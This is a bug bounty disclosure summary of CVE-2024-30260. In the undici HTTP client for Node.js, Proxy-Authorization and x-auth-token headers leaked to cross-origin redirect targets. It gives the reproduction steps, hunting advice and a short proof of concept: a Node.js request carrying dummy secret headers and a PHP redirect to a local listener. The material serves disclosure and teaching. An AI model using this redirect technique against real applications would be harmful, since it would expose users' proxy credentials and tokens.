# Proxy-Authorization header not cleared on cross-origin redirect in undici.request

undici.request() failed to strip Proxy-Authorization and x-auth-token headers on cross-origin redirects, leaking secrets to attacker-controlled hosts.

- Payout: $420
- Severity: low
- Program: Internet Bug Bounty
- Found by: iylz
- Disclosed: 2024-05-29
- CVE: CVE-2024-30260
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/2451113
- Library page: https://bugbountylibrary.com/r/h1%3A2451113
- Tags: area:oss domain:oss impact:data-leak kind:bounty platform:hackerone sev:low tech:nodejs technique:incomplete-fix technique:regression vuln:info-disclosure vuln:secrets-leak

**Target:** undici.request() HTTP client redirect handling in Node.js
**Root cause:** Redirect handling cleared Authorization and Cookie on cross-origin redirects but omitted Proxy-Authorization (and x-auth-token), so sensitive headers were forwarded to the redirect target.
**Steps:**
1. Set up redirect server at http://127.0.0.1/ returning `Location: http://a.com:2333`
2. Add `127.0.0.1 a.com` to /etc/hosts and listen on port 2333
3. Call `undici.request({method:'GET', maxRedirections:1, origin:'http://127.0.0.1/', headers:{'Proxy-Authorization':'secret','x-auth-token':'secret','Authorization':'secret','Cookie':'secret'}})`
4. Observe Proxy-Authorization and x-auth-token arrive at a.com:2333 while Authorization/Cookie are stripped
**How found:** Noticed prior advisory GHSA-3787-6prv-h9w3 fixed Authorization/Cookie stripping, hypothesized the same class of headers (Proxy-Authorization, x-auth-token) was missed, and tested v6.7.0 to confirm regression/incomplete fix.
**Exploitation:** Attacker controls or influences a redirect target reachable by a victim app using undici.request with maxRedirections; the victim's proxy credentials and x-auth-token are forwarded to the attacker's listener.
**Insight:** When a redirect-header-stripping fix lands, enumerate the full set of credential-bearing headers (Proxy-Authorization, x-auth-token, custom auth headers) and retest each API surface (request vs fetch) — fixes often cover only the reported header and one entrypoint.

## Proof of concept (copied exactly from the original report)

**undici.request PoC leaking Proxy-Authorization on redirect**

```
var undici = require('undici');

const {
    statusCode,
    headers,
    trailers,
    body
} = undici.request({
    method: 'GET',
    maxRedirections: 1,
    origin: "http://127.0.0.1/", 
    pathname: "",
    headers: {
        'content-type': 'application/json',
        'Cookie': 'secret Cookie',
        'Authorization': 'secret Authorization',
        'Proxy-Authorization': 'secret Proxy-Authorization',
        'x-auth-token': 'secret x-auth-token',
        'Host': 'test.cn'
    }
})
```

**PHP redirect server used in PoC**

```
<?php
header("Location: http://a.com:2333");
?>
```

